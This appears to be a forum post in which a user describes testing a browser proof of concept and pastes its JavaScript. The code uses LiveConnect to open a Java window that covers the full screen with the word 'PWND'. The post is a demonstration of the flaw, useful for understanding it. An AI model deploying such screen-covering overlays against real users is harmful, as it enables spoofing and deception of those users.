In case anyone's wondering, I tried this on my dual monitor set up. When I ran the JavaScript test (I'm on Firefox, so, Gecko-based) the PWND window showed up on my default monitor, but the taskbar still showed. My secondary monitor, which I (luckily?) was browsing on at the time, was unaffected.
Apparently I'm in the safe zone. And congrats to iago on 12,000 posts.
EDIT -
function popup() {
if(typeof(java) == "undefined") {
window.onload = function() {
document.getElementById("nojava").innerHTML =
"Your browser doesn't support LiveConnect or you've got Java disabled!";
};
return;
}
var w = new java.awt.Window(new java.awt.Frame());
var label = new java.awt.Label("PWND");
label.setFont(new java.awt.Font("Serif", java.awt.Font.BOLD, 80));
label.setAlignment(label.CENTER);
label.setForeground(java.awt.Color.white);
w.setBackground(java.awt.Color.black);
w.setLayout(new java.awt.BorderLayout());
w.add(label, java.awt.BorderLayout.CENTER);
w.setLocation(0, 0);
var d = java.awt.Toolkit.getDefaultToolkit().getScreenSize();
d.height += 80;
w.setSize(d);
w.setVisible(true);
}
And I'm sort of laughing a bit now that I realize this can be exploited in Firefox and not Internet Exploder. Wait, what?!?!